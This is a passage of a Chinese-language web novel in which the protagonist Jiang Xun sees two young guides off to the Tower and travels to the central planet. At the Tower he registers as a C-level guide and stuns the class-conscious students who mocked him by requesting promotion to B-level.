被晾在旁边的扎克脸色难看地要命，张了张嘴，却丝毫说不出话来，第一次觉得周围人看向他的目光，竟都变成了钢针，扎得他丢盔弃甲，狼狈不堪。 米娅也被吓得小脸惨白了下来，清澈的眼眸中，一下子就噙上了泪，可向来腼腆的性格又让她不敢在这种时候说话，只是紧紧拽着江寻的衬衫，讷讷地喊着自己的小伙伴。 也许是这会儿的气氛过于安静了，米娅一开口，瞬间吸引到了周围人的目光。 那个已经在中央的大桌上坐下来的雷克斯，也被这细软的声音吸引到了，将目光投了过去。一眼看到与江寻站在一处的米娅，目光在她漂亮可爱的脸蛋上停留了片刻，便一下子亮了起来。 “哎！那边那个小美人，”雷克斯向着米娅招了招手，“你也是这次的预备向导吧？你是什么等级的？” 米娅被对方的话语吓到，往江寻身后缩了缩，可向来不会拒绝别人的性格，还是让她回答了对方的问题：“我……我是C级的。” 雷克斯闻言，面上表情一下子变得和善了起来，马上伸手对着米娅招了招：“这等级虽然不算高，但是也不错了！那你以后就跟着我吧！别管你身边那个废物了，以后我罩着你啊！” “啊？”米娅被这突如其来的发展惊得愣住，讷讷无言。 扎克的面色却变得更难看了，瞪向雷克斯的目光，像是燃着火。 一看扎克马上就要爆发的样子，江寻忙上前一步，挡在了两人中间。 “好了，扎克，既然这里没有你想吃的套餐，那我们就换一家。走吧！” 话毕，便一手一个拉着两个孩子向着店门外走去。 路过刚才三人坐着的餐桌时，原地已经看不到刚才过来搭讪的里奥两人的身影。 扎克明显也发现了这一点，面色越发惨白。 江寻没有在众人面前多说什么，也不再去管其他人，手上使劲，拖着两人便出了餐厅。 三人再没有逛街的兴致，一个面色黑沉，一个噙着泪花，江寻快速进了街边一家自主便利店，随意买了些食物，便拉着两人回了别墅。 一路上，安静极了，一直都显得有点话痨的小男孩，一直蒙着头向前走着。回了别墅之后，第一次看都没看跟在身后的米娅一眼，冲进房间就“砰”的一声甩上了房门。 米娅担惊受怕了一路，一回来便见一路伴随着她来到这个陌生星球的好朋友在她的面前甩上了门。 那门板轰隆一声，差点撞上了她的鼻子，吓得她终于大哭了起来。 江寻看着面前两人的样子，像是预见到了什么，深深叹了口气。 第98章 接下来几天里， 扎克一直不愿意出门，把自己关在房间里，连江寻也不愿意见， 吃饭都由他自己的陪同亲长给他送进去。 江寻见他态度如此， 也没有强求， 自己出门或者偶尔带着米娅出去接触人群，熟悉一下将要一起学习的同期同学。 经过这几天的观察接触，江寻发现， 那天在餐厅中看到的按等级配比情况并非孤有。这里的许多店铺中， 都设计了这样的等级套餐，有着所有人默认的规则。 在这里等待着入塔的孩子们，也在这几天的时间里，以几个高潜力等级的孩子为中心，抱成了各自的小团体。 期间，有不少的团体都注意到了江寻与米娅两人， 前来邀请。 对于这样的事， 江寻从不鼓励也不阻止， 只让米娅自己选择。但可能因为一开始与雷克斯他们发生的冲突，米娅始终对这样的团体心存惧意， 躲藏着不愿意接近。 同时，米娅每天还会特意挑选一些送给扎克的礼物带回去， 时间长了，虽然扎克还是一直不愿意和开始时那样与米娅亲密无间， 但两人的关系也明显缓和了下来。 时间在这样的等待中飞速过去，六天转瞬即逝。 * 今天是所有孩子们统一入塔的日子，也是告别亲长，独自开始下一段集体生活的开始。 一大早的， 陪同而来的两位亲长就把给各自孩子的行李整理了出来，亲手为他们做了最后一顿早餐，又殷殷叮嘱了好一顿，这才与两个孩子正式道别，由江寻带着他们去往集合点。 米娅性格感性，早就哭成了泪人，连扎克也眼眶红红的，显见对亲人的不舍。 一路过去，所见净是类似的场景，让江寻想起在地球上时，送孩子上大学的父母们。 只是在这里，因为入塔之后，需要尽可能地开发自己的等级，直到完成塔的评估才能正式离塔，期间时间长短不定。所以，大家的离别之情更甚，处处净是执手相看泪眼的亲属。 在这样的环境里，扎克两人的情态便也成了寻常，无人过多在意。 这样的情况，也让向来自尊心很强的扎克松了口气。 所有人集合的地点仍然在功能区中，等江寻三人到达时，广场上已经三三两两地聚集了不少人。 大部分人已经换上了由塔指定的预备向导制服，只有少数几个人仍然穿着属于自己的常服。 江寻一眼看过去，那些身着常服的，基本都是每个小团体的领头人物。 根据江寻这一段时间的所见，这一批的三百多名预备向导中，潜力等级能达到B级的，一共也只有四人，其他的孩子里，大概只有10%是C级，剩余的三百人左右，全部都是D级潜能。 每个等级几乎相差十倍的人数，也让江寻对于高级向导的稀有有了更深一步的印象。 这里的大部分孩子，也明显对于这样的等级数量，与不同等级的差异待遇十分熟悉，自然而然地便分别团结到了几个B级孩子的身边。 除了其中一个B级的孩子似乎是喜欢独处，身边只有两个同一星系来的好友陪伴之外，剩下三个孩子，都被各自的拥趸环绕着，隐隐呈现三足鼎立之势，占据着广场的三个方向。其他未抱团的孩子极少，且都是D级，身份背景也比较简单落魄的。 这样的情势下，江寻三人一来到广场上，便被众多的目光环绕了起来。 先开口的竟然是最开始时与他们有冲突的雷克斯。 “嗨！米娅，你想好了吗？要不要跟着我？我们这边可是人数最多实力最强的！有我罩着，你这几年在塔里学习的时候，肯定不会受欺负！” 雷克斯丝毫没有寒暄，一句话直入主题。他当然有这样的自信，江寻大概扫了下他身边簇拥着的人群，虽然三个B级孩子身边的拥趸人数都差不多，可雷克斯这边，可是有将近一半的C级。 话音刚落，另外一边，便有一个甜美欢快的声音响起： “谁要和你这样粗鲁的大块头在一起玩啊，米娅这么漂亮可爱的女孩子，当然应该来我这边！” 说话的女孩年纪约十六岁上下，面容甜美语气娇憨，一头灿金卷发，蓬松的蛋糕裙，小小的个子身材看着却极好，打眼看去宛如一个漂亮的洋娃娃。 她身边聚集着的，不论男女，都长着一副好相貌，人数虽然是三个团体中最少的，却最是显眼。 见其他两人都抛出了橄榄枝，最后一人也不甘示弱地开了口： “米娅胆子小，你们一个个的都这么高调，会吓到她的！还是来我这边得好，米娅，过来过来，你跟着我们一起，入塔之后，哥哥会一直照顾好你的！” 这人的年纪看起来是三人中最大的一个，面容虽普通，却和善可亲，身体也发育得很好，看上去已经有了三分青年的模样，和另外两人站在一起，像初中生和大学生站一起似的。说出的话因此变得极有说服力。 米娅明显对于最后一人的招揽有些动心，面上显出些意动来，可这几天养成的习惯下，还是第一时间扭头去看扎克的面色。 可三人话语里对扎克的无视，早让他的脸色黑沉了下来，丝毫没有理睬米娅的意思，一扭头便走到了远离三人的另一边角落里，行李往地下一放便背身坐了下来。 米娅见状，面上浮起担忧，抱歉地看向注视着她的三人，分别对着他们点了点头，便提起裙子，小心地凑到了扎克的身边。却也不敢在这时候和他说话，只得在地上蜷缩成一团，在不远不近的距离蹲坐了下来。 三人见状，有的嗤笑一声，有的可惜地摇了摇头，便也没有过多纠缠。广场上又重新嘈杂了起来。 江寻看着心下叹息一声，却也没有出声干涉。他也只是两个孩子路途上的一个过客，只有短暂的这么一小段同行的缘分，并不想去干涉他们重要的人生选择。 等到把两人安全送上了前去塔中的舰艇，他这次的职责也算是圆满完成了。 大家显是都十分重视这次入塔，还不到中午，所有人便已经集齐，纷纷在广场上翘首以盼。 塔中来人也没有辜负他们的期盼，正午刚至，便有三个身着整齐白色制服的年轻人，在一众临时接待员的簇拥下，来到了众人面前。 当先一位年轻男子，一身纯白色剪裁良好的挺括制服，胸前一排橙色盘扣从颌下整整齐齐地排列到下摆。领口别着一枚精致的领章，胸前并排两枚不同形状的徽章。 身后两人，同样一身相似的白色制服，只是胸前的盘扣呈暗黄色，佩戴着的几枚徽章，与站在中央的那位略有不同。 三人一来就看到了广场上泾渭分明的几方人马，但似是对这幅场面已经司空见惯了，面上未露分毫异样。 三人呈三角形站定，中央那人右手一抬，顿时，三道强度远超在场众多学生的精神力波动在空气中荡漾了开来。 特意外显出来的精神力场，在广场上横扫而过，被笼罩在其中的学员们顿时一静。 江寻在这股精神波动刚刚迸发的时候便敏锐地察觉到了异样，适时地后退两步，正好让自己处于力场之外。 站在最前方的那位男子，也在江寻退步之时发现了他的存在，向着他微微点了点头。 见众人在力场的笼罩下纷纷安静了下来，最前面的年轻男人这才开了口： “诸位学员，首先，请允许我代表塔中央星总部，向你们致以最诚挚的祝贺！祝贺你们成功跨越了那道无形的界限，觉醒向导天赋，成为我们塔组织的一员！ 今天，对你们每个人而言，都是一个非凡的起点。从此刻起，你们不再是芸芸众生中的普通一员。这不仅仅是一个简单的身份转变，更意味着从此以后，你们的身份、财富、地位以及对联盟的价值，都将带来翻天覆地的变化。欢迎你们——正式踏入向导的行列！” 这番话一出口，座下众人纷纷面露骄傲，嗡嗡声又起。 由着众人兴奋了一分钟，男人双手下压，示意安静，又接着说道： “从今日起，你们将告别过去的生活轨迹。塔，将成为你们新的家，也是你们未来的基石。在这里，你们将获得无微不至的庇护、最顶尖的培育和最光明的未来。联盟最珍贵的资源——知识、导师、安全全面的成长环境——都将向你们敞开大门。” “但是成为向导，不仅仅是一份难得的机遇，同时也意味着你们将要肩负起崇高的责任。因为你们的天赋，是维系人类文明存续的重要力量！” “珍惜这份来之不易的机遇。努力学习，用心感受，证明你们配得上‘向导’这份荣光。请记住，塔随时注视着你们，也期待着你们！” “从今天起，在座的各位将正式成为塔组织光荣的一员——圣所二百三十八期学员。而我，庄柳，将担任本期辅导员一职。今后，你们在学习生活中遇到的各种问题，都可以向我反映。” “现在，属于你们的新旅程，即将正式开始。请所有人带上你们的随身物品，和我一起前往轨道电梯。我们将从那里正式登陆中央星，再搭乘专用飞艇前往塔总部！” 话落，庄柳向着侧后方一招手，便有一列外观相同的接驳车排着队行至了路边。下一秒，所有车门打开，庄柳带着队，开始安排所有的孩子搭乘。 “好了，快跟上去吧，希望你们今后在圣所中的学习生活顺利，早日毕业成为正式向导的一员！” 江寻低下头，看向面前两个和身边的孩子们一样，听得心潮澎湃的孩子。 两人一僵，这才意识到，分别的时刻到了。看看远处正在一个接一个登上车子的同学们，再回头看看江寻，眼中露出不舍。 江寻最后抚了抚两个孩子的头顶，在他们背后轻轻一推。 米娅望着停留在原地注视着他们的江寻，忍不住再次抽抽搭搭了起来。扎克在此时反而显得懂事了许多，不再去纠结心中的别扭，拖起米娅的一只手，倔强地看了江寻一眼，对着江寻点了点头，好好道了别，便背起背包，跟上了前面孩子们的脚步。 三百多个孩子，在有组织的情况下，动作很快。没一会儿，便纷纷跟着庄柳三人，乘上专用的接驳车，向着轨道电梯的方向奔驰而去。 刚才还熙熙攘攘的广场上，转眼之间空无一人—— 作者有话说：一更，要进新地图啦~兴奋[加油] 第99章 送走了两人， 江寻也算圆满完成了此行城主拜托的任务。也不再回别墅，把简单收拾起来的背包一背，同样踏上了前往轨道电梯的路途。 不过他就没有专用的载具接送了， 老老实实地乘着公用交通， 来回倒了好几次车， 终于行至空港的通行口，排着队，乘上了巨大的轨道电梯。 至正式落地中央星， 时间已经入夜， 江寻也不在此时出站了，在落地的航站楼中租了个临时胶囊旅店，简单洗漱一下便睡下了。 一觉睡醒，已是初阳东升。 推开胶囊旅馆那扇小小的气密门，踏出航站楼的大门，江寻瞬间被涌入的光与声浪淹没了。 昨日夜色掩映下的模糊轮廓， 此刻在初升恒星的照耀下， 化作一片他穷尽想象也无法描摹的奇景。 眼前的航站楼门口并非普通街道， 而是一个巨大的高悬空中的透明平台。 平台上下，由鳞次栉比的多层结构构成一整个让人炫目的广阔立体空间。 无数流光溢彩的飞行器， 如有生命般在多层建筑结构中穿行，沿着各有规律的轨道上下交织， 织成了一张覆盖了整个视野的，川流不息的霓虹巨网。 众多飞梭轨道车之间， 拔地而起的巨构建筑比比皆是，如镜面一般的外表面上，不断映现出变幻的全息影像。座座高楼，轻易突破千米， 顶端隐没在朦朦胧胧的晨雾之中，如直插大地的擎天巨树般吸引着人们的目光。 更远处，巨大的生态穹顶如同倒扣的琉璃碗，覆盖着大片大片的生态区域，其中植物在清晨橙红色的灿烂阳光下，被映照得梦幻瑰丽，姹紫嫣红，美不胜收。 还有向着四面反射出暖橙光斑的镜面湖泊，一尾游鱼甩着尾巴游过，便荡开一圈圈悠然涟漪。 明明是繁忙拥挤的超级都市，空气却清新得不可思议，一阵微风拂过，便吹来一丝难以言喻的，类似雨后森林的微甜气息。 江寻下意识地抓紧了肩上的背包带，呼吸都窒了一瞬。 即使穿越过来的时间已经不算短了，也亲历过好几个完全不同却各有特点的星球环境，他仍会为眼前这幕景象震撼到失神。 此刻，他才算真切的感受到，自己正站立在人类文明的巅峰之上。 脚下光洁如镜的地面映出他渺小的身影，与面前这片超越想象的繁华盛景形成了最强烈的对比。 他深吸了一口气，终于迈开了脚步，汇入航站楼外同样被震撼得脚步迟滞的旅人之中。 * 联盟中央星——正式名称为盖亚诺瓦，星际联盟的心脏，是其所在恒星系的第三颗行星。中央恒星为一颗比太阳更加稳定长寿的橙矮星，自身拥有一颗被称为塞勒涅岩的富矿主卫星。 因为其较近的轨道半径，一年虽然和地球上一样分为十二个月，但是每个月却只有十五天。 星球本身的体积虽然很大，但是因为星球85%左右的面积都是海洋，所以重力反而比较低，按江寻的体感来判断，大概只有地球的四分之三左右。 因为高比例的海洋覆盖率，整个星球没有整块的大陆，陆地主要呈现为岛屿、群岛形态，有着巨大的冲积平原与沉积盆地。 同时，活跃的地质构造，也造就了整个星球上丰富的矿产资源。其生物种类也及其丰富。 因为这样得天独厚的优越环境，这颗星球在被发现的第一时间便声名大噪，待得星际联盟正式成立时，便以压倒性的优势打败了其他所有竞争者，被票选为联盟行政中心。 整个星球以群岛为单位，共划分为七个主要的功能特区，除了其中一个哨兵岛作为塔组织专属区域之外，另外六个特区分别涵盖了包括核心政务、交通枢纽、军事防御、科研教育、文化外交、生态保育、生产制造等几大功能。 整颗星球，就像一台精密的仪器，每一个群岛链都是其中不可或缺的一枚齿轮，共同驱动着星际联盟这台庞然大物。 而江寻如今所处的位置，正是位于赤道附近的“星枢”群岛——整个联盟的政治神经中枢与星际交通的心脏。 航站楼上方，巨大的信息光幕不停切换着，展示着中央星的欢迎信息与全息星图，江寻眼睛在星图上逡巡着，在一处区域上落定。 那是一片远离主要群岛链，被单独标注出来，通体闪耀着银蓝光辉的岛屿图标。旁边挂着简洁的标注——哨兵岛：塔组织专属特区。 盘算一下兜里带着的钱财，江寻暗自叹了口气。 中央星与他之前所在的偏远星系的物价不可同日而语，即使他这一路过来，几乎都没有花到自己的钱，大头都由联盟提供了，剩下的钱，也只够他买一张前往哨兵岛的飞艇票。 看来哪里的京城都是一样的久居不易呀！ 塔组织，是他为自己下一阶段挑选的落脚点。 要在中央星找线索、寻人，他得先以一个合适的身份，想办法在这里立足下来。塔组织就是他心中一处绝好的地方。 如果能在这段时间中，隐藏于塔之中，他不仅可以很大程度上保证自己的安全，还能利用这里的知识，研究研究那个自己尚未掌握的“附身”技能的具体使用方法。 更不要说，塔组织本身就拥有着整个联盟的资源倾斜与武力、情报支持，在这里，他能够有更大的机会获得自己所需的资讯，也有更多的途径，能多的机遇，为他想做的事舔砖加瓦。 捏了捏手心里的金属芯片，江寻狠了狠心，顺着人流又转乘公共交通，周转几次之后，到了位于星枢区最西边的飞艇地面站，用身上剩余的所有钱买了一张飞往哨兵岛的船票，这才搭上了飞艇，向着他的目的地飞了过去。 * 次日，塔总部，向导登记与等级评估大厅。 时间已经快至中午，江寻这才一路打听着，找到了这里。 昨天抵达了哨兵岛后，他身上就彻底没有钱了，要不是在入境时以夏因的身份芯片登记了向导身份，他差点就要露宿街头。 于是，今天一大早，他便马上动身，前来登记大厅正式登记他的身份。 踏入大厅正门，江寻好奇地打量着周围的一切。 果然不愧是塔总部，只是一个普普通通负责一些行政事物的小部门，外表看着已经非常不简单了。 中央的大厅看上去极其宏伟，穹顶高挑，上面绘制着象征精神链接与宇宙和谐的巨幅星图。 明明看不到灯的存在，却有柔和的光芒从墙壁的四面八方洒落下来。 空气中弥漫着一种淡淡的、能安抚精神的熏香气息，让人闻之心静。 来往的工作人员皆身着灰色的制式制服套装，款式统一，剪裁标准。其中还有几个佩戴着白底空白领章，象征着他的E级向导身份。 所有工作人员，神情皆肃穆而专注，对每一位前来办理事物的客人，都保持着恰到好处的礼貌与尊重。 江寻仔细打量了一下每个窗口上方的屏幕上所注明的业务范围，目光在靠右侧的一个窗口上停了下来。 从口袋中捏出了那个已经被自己摩挲成温热的芯片，行至那道窗口前，领了一个号码牌，便排起了队来。 正一边思考着下一步的路线，一边等待着叫号，却听旁边传来一阵嘈杂人声。 扭头看去，一大帮年轻的孩子正成群结队地从大门走了进来。 突然，略有些熟悉的声音从那边传了过来，江寻一楞，来的居然还是熟人！—— 作者有话说：二更来啦！服了我了，不管几点开始写，每次写完二更都快12点[可怜] 第100章 “米娅， 你看你之前非要跟着那个扎克，浪费了多少时间？！你要是早点跟我们一块儿走，这会儿来登记晋级的可能就有你一个了！” 说话的人样貌普通， 正是之前江寻曾见过的今年入塔的三名B级潜力孩子里， 年纪最大的那个。 他的面上带着笑， 眼睛里却藏着戏谑，一句话说完，眼神像钩子一样朝跟在所有人身后的一个男孩身上勾了勾。 扎克独自一人跟着大部队后面， 所有人都有意无意地远离着他。听到这话， 他眼睛发红地望向前面，目光的落点却不是说着话的男人，而是站在他旁边的一人。 那人被说话者半揽在胳膊里的，正是与江寻刚刚分别了两天的米娅！ “行了行了！别在这里炫耀了，赶快登记完，下午我们A组还有课呢！” 一个暴躁的声音响起， 说话的又是一个熟人， 正是雷克斯。 只见他不耐烦地斜了一眼当先说话的那个人， 脚下步子迈大，越过他和米娅便抢在了前面， 一把将一枚金属芯片拍在柜台上，冲着里面坐着的工作人员说道：“向导登记， 还有晋级申请！” 坐在柜台后面的工作人员，听到这话， 面上马上挂上了笑，双手恭敬地接住那张小小的芯片，将它插入专用卡槽中，在弹出来的页面上看了一眼， 潜力等级那栏明晃晃的“B”字，让她的笑容再次变大了一分： “恭喜阁下，刚刚进入圣所就达到晋级条件！已确认您的基础精神强度到达D级标准，请问您是现在就进行技能测试还是预约时间呢？” “当然是现在测试啦！” 雷克斯还没开口，一直跟在他身边的艾伦便大声替他回答道：“我们老大可是很忙的，你们知道的，圣所A组的课业有多繁重啊！我们可没时间不停往这里跑！” 一句话说完，身后便有许多人纷纷应和奉承了起来。 被雷克斯怼了一句的西斯科丝毫没有一丁点儿生气的意思，甚至是被他故意抢在了自己前面也只是无奈笑笑。 他完全理解雷克斯的心情，拉拢了这么久的人，最后还是跟着自己了，他心情不爽也是应该的。 西斯科也不管对方飞过来的白眼，同样把自己的芯片也从窗口递了进去：“劳驾，我也要晋级。” 一连两个潜力等级B级的预备向导，让柜员在心底直呼幸运，整个星际联盟里，一年觉醒出的B级以上潜力等级的向导都不会超过十个，今天居然就让他遇到了两个！ 虽然他们现在还只是晋级D级，可最高潜力等级摆在那里，他们的起点就是很多很多人的终点了！要是运气好，最后真的能完全开发了自己的潜力，提升到B级，那些最高级的哨兵大佬们不是随他们选！说不定还可以凭此进入大家族呢！ 工作人员明显的激动模样，似是也让跟随着雷克斯与西斯科而来的拥趸们，与有荣焉。似乎是还嫌不够刺激，纷纷拿出了自己的芯片，也一股脑地拍在了台面上，嚷嚷着要进行向导登记。 柜台里的工作人员，手忙脚乱地收下芯片，不敢怠慢，忙向着左右招呼了一声，顿时，其他柜台的工作人员也纷纷放下自己手中正在办理的业务，围上前去帮忙。 江寻眉头一皱，眼看着自己正在排着的窗口里的工作人员，也犹豫着正要站起身，看一眼头顶上下一个就要叫到了的自己的号码，上前一步，一手拍上柜台。 “等等，我们才是先来的，请先给我们办完业务再说。” 突兀的声音，一下子让大厅里的所有人都转头看向了江寻。 “大哥哥？！” “你怎么在这儿？！” 两个声音同时响起，正是与西斯科站在一起的米娅，与独自一人跟在最后面的扎克。 两人闻声一楞，互相看了一眼，米娅首先受不了一般，收回了目光，抿起嘴低下了头。 扎克面色更加难看一分，也狠狠扭过了头。 其他人有的面露疑惑，有的目露思索，首先认出人来的竟然是雷克斯。 “是你！送他们两人过来中央星的那个护卫！你怎么会在这里？” 他这么一说，其他的人也纷纷想了起来，这不是那个一直跟在米娅和那个不识抬举的扎克旁边，护送他们到中央星来的护卫吗？众人的随行者在送完人后，便会随着星舰返航，他怎么没走，还来了哨兵岛？ “哈！”艾伦第一个嗤笑出声，夸张地掏了掏耳朵，“我没听错吧？一个乡下星球来的护卫，还敢在这里对我们指手画脚？你知道这是什么地方吗？这里可不是你们这些下等人该来的地方！” “就是！”立刻有人附和，“没看见我们雷克斯老大和西斯科老大在办事吗？识相点滚后面去排队，等我们办完了，兴许心情好，赏你点时间。” 西斯科脸上依旧挂着那副温和的笑容，明明是对着江寻在说话，目光却转向了米娅：“这位是，护送米娅过来的江先生是吧？非常感谢你一路上的照顾，可是，护卫有护卫的职责，哨兵岛可不是你该来的地方！我们时间宝贵，麻烦你让一让。工作人员，请继续。” 说到后半句时，他的目光又转向了那个被江寻拦下、正不知所措的工作人员，从头到尾都没有看江寻一眼。 那工作人员原本还有些犹豫，怕得罪了不能得罪的人物，此刻一听对方只是一个寻常护卫，马上便坚定了心思，只觉得江寻不识抬举。 他尴尬地对着江寻扯出一个敷衍的笑：“这位先生，您看，确实是那边比较急，要不您再稍等一会儿？我帮他们办完了马上过来给您处理。”说着，就要再次起身。 “稍等？”江寻的声音不高，却掷地有声，清晰地响彻在大厅里，“如果我没看错的话，我的号码，就是下一个。” 他指着电子屏上正在闪烁着的数字，指尖点在冰冷的柜台上，发出笃的一声轻响。 “我们所有人领号在这里排队，你们的职责就应该是凭号办理，”他的目光扫过那群或嘲弄、或不屑的学生，最后落回工作人员脸上，“还是说，你们这堂堂圣所评级大厅的规矩，也是可以随意更改的？” 事关整个圣所评级大厅的声誉，这些工作人员哪敢随意接话，互相看看，脸上一阵青一阵白，一时语塞。 “呵！你是真不懂还是装不懂啊？”之前为了招揽米娅，雷克斯对江寻的态度还算不咸不淡的，这会儿看好的手下被人截了胡，他心情本就不好，看到与米娅和扎克有关的人，脾气一下子被点着了： “对你客气一点，你还真以为自己和我们一样了？撒泡尿照照你自己！你以为你是谁？一个小小的护卫，跟我们抢人？我们的时间能和你的一样吗？我们分分钟都比你这种人的性命值钱！滚开！” 说着，他上前一步，新生的精神力场随着他的话语不断往外张开，张牙舞爪地压向江寻。 燥烈波动的精神力场，终于引起了里间主管的注意。 一个穿着笔挺灰色制服，领口上别着一枚空白徽章，头发梳得一丝不苟的中年男人，皱着眉快步走了出来：“吵什么？这里是评级大厅，保持肃静！” 他的目光锐利，扫过剑拔弩张的两方。 一眼看到雷克斯身上剧烈波动着的力场，眼瞳一缩，谨慎开口：“评级大厅里，不允许使用精神力攻击！这位先生，请收回您的力场！” “主管！”那个被江寻拦下的工作人员，看到来人像是看到了救星，连忙指向江寻，“是这位先生，他非要插队，还干扰我们为雷克斯阁下和西斯科阁下办理业务……” “插队？”主管看向江寻，“怎么回事？先生，评级大厅凭号排队，请您排队等待办理业务！” 江寻一挑眉，举起手中的号码纸，又抬手点了点头上的电子屏。 主管一眼看到拿在江寻手上的号码，又瞥了一眼电子屏，号码显示下一个就是江寻，他眉头皱得更紧，转头看向向他告状的工作人员。 那工作人员立刻抢白：“主管，他就是个送人来的护卫！我们正在为圣所新一期的阁下们，办理重要的向导登记手续，他非要在这里捣乱！” “护卫？”主管的目光落在江寻身上。 江寻一身简单的深色便服，材质普通，因为两天都没有好好睡过，衣服已经变得皱巴巴的，身上也没有任何向导或是属于塔的徽记，确实不像圣所的学生或塔中的正式成员。 主管的眼底放松了些，但多年的事物处理经验，让他没有立刻偏向。 “这位先生，”主管语气还算客气，但话里话外，带着公事公办的疏离，“我们并不歧视任何身份职业，圣所评级大厅按号办理是规矩。如果您是陪同人员，请在大厅等候区耐心等待。请不要干扰我们正常的办公秩序。” 江寻看着主管，脸上没什么表情，只是平静地从口袋里掏出一枚泛着幽蓝色泽的金属芯片。那芯片的材质和样式，与雷克斯、西斯科他们拿出的登记芯片一模一样！ 他将芯片轻轻放在柜台上，推向主管。 “我不是陪同人员。”江寻的声音依旧平淡无波，口中说出的话语，却像一颗投入平静湖面的石子，瞬间在所有人心中激起千层浪，“我是来进行登记的，向导登记，以及，”他顿了顿，清晰地吐出两个字，“晋级。”—— 作者有话说：原来爽文也不是好写的……第一次写这样的情节，脚趾扣地[裂开]《 》 100-110 第101章 “什么？！” “不可能！” “他在说什么东西？” 惊呼声此起彼伏， 雷克斯和艾伦等人像是听到了天大的笑话，脸上充满了荒谬和嘲讽。 西斯科的笑容第一次僵住了，视线终于移到了江寻身上， 眼神里充满了难以置信的审视。 米娅猛地抬起头， 惊愕地看着江寻， 嘴唇微张。扎克更是震惊地瞪大了眼睛，视线惊讶地在那枚芯片与江寻身上来回移动。 主管也愣住了。他狐疑地拿起那枚芯片，入手冰凉， 质感真实。 他面上惊疑不定， 将手中的芯片插入柜台内侧一个卡槽中。 光屏弹出，主管的目光快速扫过基础信息栏，瞳孔骤然收缩！ “C……C级？！”主管失声叫了出来，声音因为惊讶变了调，在大厅里显得格外刺耳。 一瞬间，整个评级大厅陷入了死一般的寂静。 可主管的震惊还没有结束， 他的面色随着目光的下移再次风云变幻。 “潜能等级……B级？！” 随着这简单的几个字， 所有的哄笑声、嘲讽声， 都像是在一瞬间，被一只无形的大手骤然扼住了脖颈， 戛然而止。 雷克斯脸上的嘲讽凝固住了，取而代之的是极度的错愕与茫然。 西斯科温和的面具彻底碎裂， 真实的面容上，只剩下震惊和一丝不易察觉的慌乱。 艾伦和其他跟在他们身后的拥趸们， 纷纷张大了嘴，呆滞下来。 米娅捂住了嘴，眼睛瞪得溜圆。扎克则是死死攥紧了拳头，指节发白， 眼神复杂地在江寻和那光屏之间来回扫视。 C级？潜能等级B级？那个一直被他们当成护卫，从没看进过眼里的人，竟然也是个潜能B级的向导，而且，他现在的等级就已经到达C级了？！和他们的辅导员庄柳一样！ 这怎么可能？他身上哪里有一丁点儿向导的模样？若他自己就是个潜力如此高的向导，他为什么还要给两个刚刚觉醒的小向导当护卫？！ 众人看着江寻直到此时，依旧平静无波的脸，一股荒谬绝伦的寒意顺着脊椎爬了上来。 面面相觑，每个人的眼中都充满了无法理解与不可置信。 主管深吸了好几口气，才勉强压下心头的惊涛骇浪。 “可是……您应该已经成年好几年了吧？为什么一直到现在才来做向导登记？一直没在圣所登记学习过，您又是怎么升到C级的？” 主管越想越觉得奇怪，看着平静如初的江寻，面色有些惊疑不定。 扭过头去，确认一般一目十行地扫过光屏上的其他条目，惊疑出声： “咦？怎么回事？你的向导等级评级是三年以前登记的，地点是……M89星系——雷洛塔分部？M89星系现在还有分部吗？这是哪个分部？” 江寻的眼中闪过一抹伤痛，轻声回道：“是的，我是三年以前，在M89星系觉醒的向导，之后在雷洛塔分部中学习过不到一年，原本已经被选定为预备向导，准备到中央星总部来继续深造。可是，当时正好遇到了虫族犯境，雷洛塔分部被毁，混乱中，我没有坐上撤离的星舰，被滞留在了战乱区。” “后来，又经历了一些波折，流落到了M85星系，最近，才在霍明德城主的帮助下，搭乘上了这一次选派预备向导的运输舰，来到了中央星。” “原来如此……”主管眼中闪过了然与钦佩，虽然他一直呆在中央星里生活，但也听说过在那种编号靠后的偏远星系中，向导要好好活下来有多么不容易。 说着，他突然想起了江寻刚才的话语，眼睛慢慢睁大，脑袋像是卡住了一样，一寸一寸转向江寻的方向，看向江寻的眼神彻底变了，充满了难以置信的敬畏和一丝惶恐。 他手指有些颤抖地操作着光屏，声音干涩：“夏……夏因阁下？已确认您的C级向导身份……您刚才说，您还要晋级？” 江寻沉默了一下，为这个许久没有听到的名字。 而后点了点头，仿佛在说一件再平常不过的事情：“是的，我要申请晋升B级。” “轰——！” 如果说刚才的寂静是一片死水，那么此刻，江寻这句轻飘飘的话，就像是在这死水中引爆了一颗炸弹！ “B……B级？！” “什么？刚进行向导登记就直接晋升B级？” “他已经达到自己的最高潜力等级了？甚至从没在圣所中学习过，也没登记过？！” 雷克斯和西斯科的脸色彻底白了，他们虽然一直以自己的高等级潜力而自豪，可现实早就狠狠地扇醒了他们！ 达到D级已经是他们背后的亲长倾尽全力培养下的成果，C级就是他们在圣所里学习训练的最终目标，他们深刻明白，以他们的家世背景，能在最开始时快人一步已经足够难得，今后全靠他们自己的情况下，他们必须要非常努力，团结自身身边的一切力量，才能在圣所的八年培养期限内，达到C级！ 而B级……那是他们潜力等级的上限，是很多很多的天才努力多年后才能达到的终点！他们里面没有一个人，能够肯定自己最终一定能够升到B级！而面前这个不起眼的小护卫，现在就已经有资格冲刺了？ 主管的手抖得更厉害了，他几乎以为自己听错了：“晋……晋级B级？您确定？您在偏远星系流落三年，等级还不退反进了？阁下，B级测试的难度和风险……” “我确定。”江寻打断他，语气平淡却带着不容置疑的力量，“请为我安排测试吧。” 其实江寻也不想直接晋升B级这么引人注目。可是，B级对于向导来说是一个很重要的门槛！达到B级以后，才能使用技能进入哨兵的精神图景，才能通过身体绑定的方式，完全净化治愈高等级哨兵。 B级以上的向导，和以下的向导，在更高层次的权力者眼中，是完全不同的两个群体。 所以，只有达到了B级，他才能获得更高的话语权与权限，保证自己的安全、更好的获得信息。 更何况，虽然他一直没有测试过自己的潜能等级，但他的能力从觉醒开始就从没停止过进步。 特别是之前在自由城夜观主星食时，莫名获得的那份巨大能量，至今还有一大半都没被他消化掉。据他估算，最起码在他完全消化掉这些能量之前，他的能力都不会停止进步。 而B级的技能他已经在夏因给他的教材里学会了，更高级的知识只有塔里才能提供。 这样的情况下，要继续保持高速进步的话，他必须表现出B级的水平来，才能以此为基础，继续申请获得A级以上更高级的技能资料。 江寻答的简单，却让所有听到他回答的人呆滞在了原地，整个大厅的空气仿佛都凝固了。 所有人的视线都聚焦在江寻身上，目光中充满了震惊、怀疑、恐惧和一丝连他们自己都不愿承认的嫉妒。在这样拍马都追赶不上的巨大差距下，他们之前所有的优越感、所有的嘲讽，在此刻都显得如此可笑而渺小。 主管看着江寻确定的平静眼神，喉结滚动了一下，艰难地咽了口唾沫。 